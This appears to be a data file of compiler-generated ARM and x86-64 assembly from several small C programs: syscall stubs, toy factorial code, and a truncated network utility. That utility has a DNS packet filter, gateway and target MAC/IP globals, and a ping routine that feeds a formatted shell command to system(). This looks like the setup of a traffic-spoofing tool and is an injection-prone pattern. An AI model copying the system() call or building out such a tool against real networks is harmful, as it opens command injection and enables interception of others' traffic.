ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L9:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L10
ldr r3, [fp, #-24]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _read, .-_read
.align 2
.weak _write
.syntax unified
.arm
.fpu softvfp
.type _write, %function
_write:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
mov r3, #0
str r3, [fp, #-8]
b .L13
.L14:
ldr r3, [fp, #-20]
add r2, r3, #1
str r2, [fp, #-20]
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl __io_putchar
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L13:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L14
ldr r3, [fp, #-24]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _write, .-_write
.align 2
.global _close
.syntax unified
.arm
.fpu softvfp
.type _close, %function
_close:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
mvn r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _close, .-_close
.align 2
.global _fstat
.syntax unified
.arm
.fpu softvfp
.type _fstat, %function
_fstat:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-12]
mov r2, #8192
str r2, [r3, #16]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _fstat, .-_fstat
.align 2
.global _isatty
.syntax unified
.arm
.fpu softvfp
.type _isatty, %function
_isatty:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
mov r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _isatty, .-_isatty
.align 2
.global _lseek
.syntax unified
.arm
.fpu softvfp
.type _lseek, %function
_lseek:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _lseek, .-_lseek
.align 2
.global _open
.syntax unified
.arm
.fpu softvfp
.type _open, %function
_open:
@ args = 4, pretend = 12, frame = 8
@ frame_needed = 1, uses_anonymous_args = 1
@ link register save eliminated.
push {r1, r2, r3}
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #8
str r0, [fp, #-4]
mvn r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
add sp, sp, #12
bx lr
.size _open, .-_open
.align 2
.global _wait
.syntax unified
.arm
.fpu softvfp
.type _wait, %function
_wait:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
bl __errno_location
mov r3, r0
mov r2, #10
str r2, [r3]
mvn r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _wait, .-_wait
.align 2
.global _unlink
.syntax unified
.arm
.fpu softvfp
.type _unlink, %function
_unlink:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
bl __errno_location
mov r3, r0
mov r2, #2
str r2, [r3]
mvn r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _unlink, .-_unlink
.align 2
.global _times
.syntax unified
.arm
.fpu softvfp
.type _times, %function
_times:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
mvn r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _times, .-_times
.align 2
.global _stat
.syntax unified
.arm
.fpu softvfp
.type _stat, %function
_stat:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-12]
mov r2, #8192
str r2, [r3, #16]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size _stat, .-_stat
.align 2
.global _link
.syntax unified
.arm
.fpu softvfp
.type _link, %function
_link:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
bl __errno_location
mov r3, r0
mov r2, #31
str r2, [r3]
mvn r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _link, .-_link
.align 2
.global _fork
.syntax unified
.arm
.fpu softvfp
.type _fork, %function
_fork:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl __errno_location
mov r3, r0
mov r2, #11
str r2, [r3]
mvn r3, #0
mov r0, r3
pop {fp, pc}
.size _fork, .-_fork
.align 2
.global _execve
.syntax unified
.arm
.fpu softvfp
.type _execve, %function
_execve:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-8]
str r1, [fp, #-12]
str r2, [fp, #-16]
bl __errno_location
mov r3, r0
mov r2, #12
str r2, [r3]
mvn r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size _execve, .-_execve
.weak __io_putchar
.weak __io_getchar
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "746523.c"
.intel_syntax noprefix
.text
.globl f
.type f, @function
f:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size f, .-f
.globl x
.data
.align 4
.type x, @object
.size x, 4
x:
.long 3
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -40[rbp], 5
mov BYTE PTR -41[rbp], 105
mov DWORD PTR -36[rbp], 5
mov eax, DWORD PTR -36[rbp]
add eax, 1
mov DWORD PTR -32[rbp], eax
add DWORD PTR -40[rbp], 3
cmp DWORD PTR -40[rbp], 2
jle .L4
mov eax, DWORD PTR -28[rbp]
mov DWORD PTR -24[rbp], eax
mov DWORD PTR -36[rbp], 4
.L4:
call f
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L6
call __stack_chk_fail@PLT
.L6:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.globl foo
.type foo, @function
foo:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -52[rbp], edi
mov DWORD PTR -56[rbp], esi
mov eax, edx
mov BYTE PTR -60[rbp], al
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, DWORD PTR -52[rbp]
mov edi, eax
call fact
mov DWORD PTR -40[rbp], eax
add DWORD PTR -36[rbp], 1
mov QWORD PTR -32[rbp], 0
mov QWORD PTR -24[rbp], 0
mov DWORD PTR -16[rbp], 0
mov DWORD PTR -32[rbp], 1
mov DWORD PTR -28[rbp], 2
mov DWORD PTR -24[rbp], 3
mov DWORD PTR -40[rbp], 0
cmp DWORD PTR -40[rbp], 4
nop
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L10
call __stack_chk_fail@PLT
.L10:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size foo, .-foo
.globl proba3
.type proba3, @function
proba3:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR x[rip], 4
mov eax, 97
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size proba3, .-proba3
.globl proba
.type proba, @function
proba:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 97
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.size proba, .-proba
.globl proba2
.type proba2, @function
proba2:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 97
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size proba2, .-proba2
.globl fact
.type fact, @function
fact:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov edx, 104
mov esi, 2
mov edi, 1
call foo
cmp DWORD PTR -4[rbp], 0
jle .L19
mov eax, DWORD PTR -4[rbp]
sub eax, 1
mov edi, eax
call fact
imul eax, DWORD PTR -4[rbp]
jmp .L20
.L19:
mov eax, 1
.L20:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size fact, .-fact
.globl foo3
.type foo3, @function
foo3:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], 8
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size foo3, .-foo3
.globl f2
.type f2, @function
f2:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
add DWORD PTR -4[rbp], 1
mov rax, QWORD PTR -16[rbp]
mov eax, DWORD PTR [rax]
lea edx, 1[rax]
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size f2, .-f2
.globl main2
.type main2, @function
main2:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -8[rbp], 2147483647
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size main2, .-main2
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "746523.c"
.text
.align 2
.global f
.syntax unified
.arm
.fpu softvfp
.type f, %function
f:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size f, .-f
.global x
.data
.align 2
.type x, %object
.size x, 4
x:
.word 3
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #5
str r3, [fp, #-40]
mov r3, #105
strb r3, [fp, #-41]
mov r3, #5
str r3, [fp, #-36]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-32]
ldr r3, [fp, #-40]
add r3, r3, #3
str r3, [fp, #-40]
ldr r3, [fp, #-40]
cmp r3, #2
ble .L4
ldr r3, [fp, #-28]
str r3, [fp, #-24]
mov r3, #4
str r3, [fp, #-36]
.L4:
bl f
mov r3, r0
ldr r2, .L7
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L6
bl __stack_chk_fail
.L6:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC0
.size main, .-main
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global foo
.syntax unified
.arm
.fpu softvfp
.type foo, %function
foo:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
mov r3, r2
strb r3, [fp, #-45]
ldr r3, .L14
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, [fp, #-40]
bl fact
str r0, [fp, #-36]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
sub r3, fp, #28
mov r2, #0
str r2, [r3]
str r2, [r3, #4]
str r2, [r3, #8]
str r2, [r3, #12]
str r2, [r3, #16]
mov r3, #1
str r3, [fp, #-28]
mov r3, #2
str r3, [fp, #-24]
mov r3, #3
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #-36]
cmp r3, #4
nop
nop
ldr r3, .L14
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L12
bl __stack_chk_fail
.L12:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L15:
.align 2
.L14:
.word .LC1
.size foo, .-foo
.align 2
.global proba3
.syntax unified
.arm
.fpu softvfp
.type proba3, %function
proba3:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L18
mov r2, #4
str r2, [r3]
mov r3, #97
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L19:
.align 2
.L18:
.word x
.size proba3, .-proba3
.align 2
.global proba
.syntax unified
.arm
.fpu softvfp
.type proba, %function
proba:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #97
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size proba, .-proba
.align 2
.global proba2
.syntax unified
.arm
.fpu softvfp
.type proba2, %function
proba2:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #97
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size proba2, .-proba2
.align 2
.global fact
.syntax unified
.arm
.fpu softvfp
.type fact, %function
fact:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
mov r2, #104
mov r1, #2
mov r0, #1
bl foo
ldr r3, [fp, #-8]
cmp r3, #0
ble .L25
ldr r3, [fp, #-8]
sub r3, r3, #1
mov r0, r3
bl fact
mov r2, r0
ldr r3, [fp, #-8]
mul r3, r2, r3
b .L26
.L25:
mov r3, #1
.L26:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fact, .-fact
.align 2
.global foo3
.syntax unified
.arm
.fpu softvfp
.type foo3, %function
foo3:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
mov r3, #8
str r3, [fp, #-8]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size foo3, .-foo3
.align 2
.global f2
.syntax unified
.arm
.fpu softvfp
.type f2, %function
f2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-12]
ldr r3, [r3]
add r2, r3, #1
ldr r3, [fp, #-12]
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size f2, .-f2
.align 2
.global main2
.syntax unified
.arm
.fpu softvfp
.type main2, %function
main2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
mvn r3, #-2147483648
str r3, [fp, #-12]
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size main2, .-main2
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "56047.c"
.intel_syntax noprefix
.text
.globl dns_filter
.data
.align 32
.type dns_filter, @object
.size dns_filter, 320
dns_filter:
.value 40
.byte 0
.byte 0
.long 12
.value 21
.byte 0
.byte 22
.long 34525
.value 32
.byte 0
.byte 0
.long 22
.value 21
.byte 0
.byte 6
.long 0
.value 32
.byte 0
.byte 0
.long 26
.value 21
.byte 0
.byte 4
.long 0
.value 32
.byte 0
.byte 0
.long 30
.value 21
.byte 0
.byte 2
.long 0
.value 32
.byte 0
.byte 0
.long 34
.value 21
.byte 29
.byte 0
.long 1
.value 32
.byte 0
.byte 0
.long 38
.value 21
.byte 0
.byte 6
.long 0
.value 32
.byte 0
.byte 0
.long 42
.value 21
.byte 0
.byte 4
.long 0
.value 32
.byte 0
.byte 0
.long 46
.value 21
.byte 0
.byte 2
.long 0
.value 32
.byte 0
.byte 0
.long 50
.value 21
.byte 21
.byte 0
.long 1
.value 48
.byte 0
.byte 0
.long 20
.value 21
.byte 0
.byte 19
.long 17
.value 40
.byte 0
.byte 0
.long 54
.value 21
.byte 16
.byte 0
.long 53
.value 40
.byte 0
.byte 0
.long 56
.value 21
.byte 14
.byte 15
.long 53
.value 21
.byte 0
.byte 14
.long 2048
.value 32
.byte 0
.byte 0
.long 26
.value 21
.byte 12
.byte 0
.long 2130706433
.value 32
.byte 0
.byte 0
.long 30
.value 21
.byte 10
.byte 0
.long 2130706433
.value 48
.byte 0
.byte 0
.long 23
.value 21
.byte 0
.byte 8
.long 17
.value 40
.byte 0
.byte 0
.long 20
.value 69
.byte 6
.byte 0
.long 8191
.value 177
.byte 0
.byte 0
.long 14
.value 72
.byte 0
.byte 0
.long 14
.value 21
.byte 2
.byte 0
.long 53
.value 72
.byte 0
.byte 0
.long 16
.value 21
.byte 0
.byte 1
.long 53
.value 6
.byte 0
.byte 0
.long 262144
.value 6
.byte 0
.byte 0
.long 0
.globl port_filter
.section .data.rel.local,"aw"
.align 16
.type port_filter, @object
.size port_filter, 16
port_filter:
.value 40
.zero 6
.quad dns_filter
.globl local_mac
.bss
.type local_mac, @object
.size local_mac, 6
local_mac:
.zero 6
.globl local_interface_index
.align 4
.type local_interface_index, @object
.size local_interface_index, 4
local_interface_index:
.zero 4
.globl gateway_mac
.type gateway_mac, @object
.size gateway_mac, 6
gateway_mac:
.zero 6
.globl target_mac
.type target_mac, @object
.size target_mac, 6
target_mac:
.zero 6
.globl local_ip
.align 4
.type local_ip, @object
.size local_ip, 4
local_ip:
.zero 4
.globl local_ip_6
.align 16
.type local_ip_6, @object
.size local_ip_6, 16
local_ip_6:
.zero 16
.globl gateway_ip
.align 4
.type gateway_ip, @object
.size gateway_ip, 4
gateway_ip:
.zero 4
.globl target_ip
.align 4
.type target_ip, @object
.size target_ip, 4
target_ip:
.zero 4
.section .rodata
.LC0:
.string "ioctl local mac"
.LC1:
.string "Local mac address is: "
.LC2:
.string "%02x"
.LC3:
.string "ioctl local ip"
.LC4:
.string "Local IP address is: %08x\n"
.align 8
.LC5:
.string "Local interface index is: %08x\n"
.LC6:
.string "r"
.LC7:
.string "/proc/net/if_inet6"
.LC8:
.string "/proc/net/if_inet6 open"
.LC9:
.string "enp0s31f6"
.align 8
.LC10:
.string " %2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx%2hhx %*x %x %x %*x %s"
.LC11:
.string "Local IPv6 address: "
.text
.globl get_local_mac
.type get_local_mac, @function
get_local_mac:
.LFB36:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 368
mov DWORD PTR -356[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -320[rbp]
mov edx, 40
mov esi, 0
mov rdi, rax
call memset@PLT
lea rax, -320[rbp]
movabs rcx, 7363723435554401893
mov QWORD PTR [rax], rcx
mov WORD PTR 8[rax], 54
lea rdx, -320[rbp]
mov eax, DWORD PTR -356[rbp]
mov esi, 35111
mov edi, eax
mov eax, 0
call ioctl@PLT
test eax, eax
je .L2
lea rdi, .LC0[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L2:
mov eax, DWORD PTR -302[rbp]
mov DWORD PTR local_mac[rip], eax
movzx eax, WORD PTR -298[rbp]
mov WORD PTR local_mac[rip+4], ax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -336[rbp], 0
jmp .L3
.L4:
mov eax, DWORD PTR -336[rbp]
cdqe
movzx eax, BYTE PTR -302[rbp+rax]
movzx eax, al
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -336[rbp], 1
.L3:
cmp DWORD PTR -336[rbp], 5
jle .L4
mov edi, 10
call putchar@PLT
lea rdx, -320[rbp]
mov eax, DWORD PTR -356[rbp]
mov esi, 35093
mov edi, eax
mov eax, 0
call ioctl@PLT
test eax, eax
je .L5
lea rdi, .LC3[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L5:
lea rax, -320[rbp]
add rax, 16
add rax, 4
mov eax, DWORD PTR [rax]
mov DWORD PTR local_ip[rip], eax
mov eax, DWORD PTR local_ip[rip]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
lea rdx, -320[rbp]
mov eax, DWORD PTR -356[rbp]
mov esi, 35123
mov edi, eax
mov eax, 0
call ioctl@PLT
test eax, eax
je .L6
lea rdi, .LC3[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L6:
mov eax, DWORD PTR -304[rbp]
mov DWORD PTR local_interface_index[rip], eax
mov eax, DWORD PTR local_interface_index[rip]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
lea rsi, .LC6[rip]
lea rdi, .LC7[rip]
call fopen@PLT
mov QWORD PTR -328[rbp], rax
cmp QWORD PTR -328[rbp], 0
jne .L8
lea rdi, .LC8[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L11:
lea rax, -272[rbp]
mov rsi, rax
lea rdi, .LC9[rip]
call strcmp@PLT
test eax, eax
je .L15
nop
.L8:
mov rax, QWORD PTR -328[rbp]
sub rsp, 8
lea rdx, -272[rbp]
push rdx
lea rdx, -340[rbp]
push rdx
lea rdx, -344[rbp]
push rdx
lea rdx, local_ip_6[rip+15]
push rdx
lea rdx, local_ip_6[rip+14]
push rdx
lea rdx, local_ip_6[rip+13]
push rdx
lea rdx, local_ip_6[rip+12]
push rdx
lea rdx, local_ip_6[rip+11]
push rdx
lea rdx, local_ip_6[rip+10]
push rdx
lea rdx, local_ip_6[rip+9]
push rdx
lea rdx, local_ip_6[rip+8]
push rdx
lea rdx, local_ip_6[rip+7]
push rdx
lea rdx, local_ip_6[rip+6]
push rdx
lea rdx, local_ip_6[rip+5]
push rdx
lea rdx, local_ip_6[rip+4]
push rdx
lea r9, local_ip_6[rip+3]
lea r8, local_ip_6[rip+2]
lea rcx, local_ip_6[rip+1]
lea rdx, local_ip_6[rip]
lea rsi, .LC10[rip]
mov rdi, rax
mov eax, 0
call __isoc99_fscanf@PLT
sub rsp, -128
cmp eax, 19
je .L11
jmp .L10
.L15:
nop
.L10:
mov rax, QWORD PTR -328[rbp]
mov rdi, rax
call fclose@PLT
lea rdi, .LC11[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -332[rbp], 0
jmp .L12
.L13:
mov eax, DWORD PTR -332[rbp]
cdqe
lea rdx, local_ip_6[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -332[rbp], 1
.L12:
cmp DWORD PTR -332[rbp], 15
jle .L13
mov edi, 10
call putchar@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L14
call __stack_chk_fail@PLT
.L14:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE36:
.size get_local_mac, .-get_local_mac
.section .rodata
.align 8
.LC12:
.string "ping -c 1 %s > /dev/null 2> /dev/null"
.text
.globl ping_ip
.type ping_ip, @function
ping_ip:
.LFB37:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 224
mov QWORD PTR -216[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -208[rbp]
mov edx, 200
mov esi, 0
mov rdi, rax
call memset@PLT
mov rdx, QWORD PTR -216[rbp]
lea rax, -208[rbp]
mov rcx, rdx
lea rdx, .LC12[rip]
mov esi, 199
mov rdi, rax
mov eax, 0
call snprintf@PLT
lea rax, -208[rbp]
mov rdi, rax
call system@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L17
call __stack_chk_fail@PLT
.L17:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE37:
.size ping_ip, .-ping_ip
.section .rodata
.LC13:
.string "%u.%u.%u.%u"
.text
.globl convert_ip_to_int
.type convert_ip_to_int, @function
convert_ip_to_int:
.LFB38:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, -12[rbp]
lea rsi, -16[rbp]
lea rcx, -20[rbp]
lea rdx, -24[rbp]
mov rax, QWORD PTR -40[rbp]
mov r9, rdi
mov r8, rsi
lea rsi, .LC13[rip]
mov rdi, rax
mov eax, 0
call __isoc99_sscanf@PLT
mov eax, DWORD PTR -20[rbp]
sal eax, 8
mov edx, eax
mov eax, DWORD PTR -24[rbp]
or edx, eax
mov eax, DWORD PTR -16[rbp]
sal eax, 16
or edx, eax
mov eax, DWORD PTR -12[rbp]
sal eax, 24
or eax, edx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L20
call __stack_chk_fail@PLT
.L20:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE38:
.size convert_ip_to_int, .-convert_ip_to_int
.globl get_mac_from_ip
.type get_mac_from_ip, @function
get_mac_from_ip:
.LFB39:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea r11, -65536[rsp]
.LPSRL0:
sub rsp, 4096
or DWORD PTR [rsp], 0
cmp rsp, r11
jne .LPSRL0
sub rsp, 80
mov DWORD PTR -65588[rbp], edi
mov QWORD PTR -65600[rbp], rsi
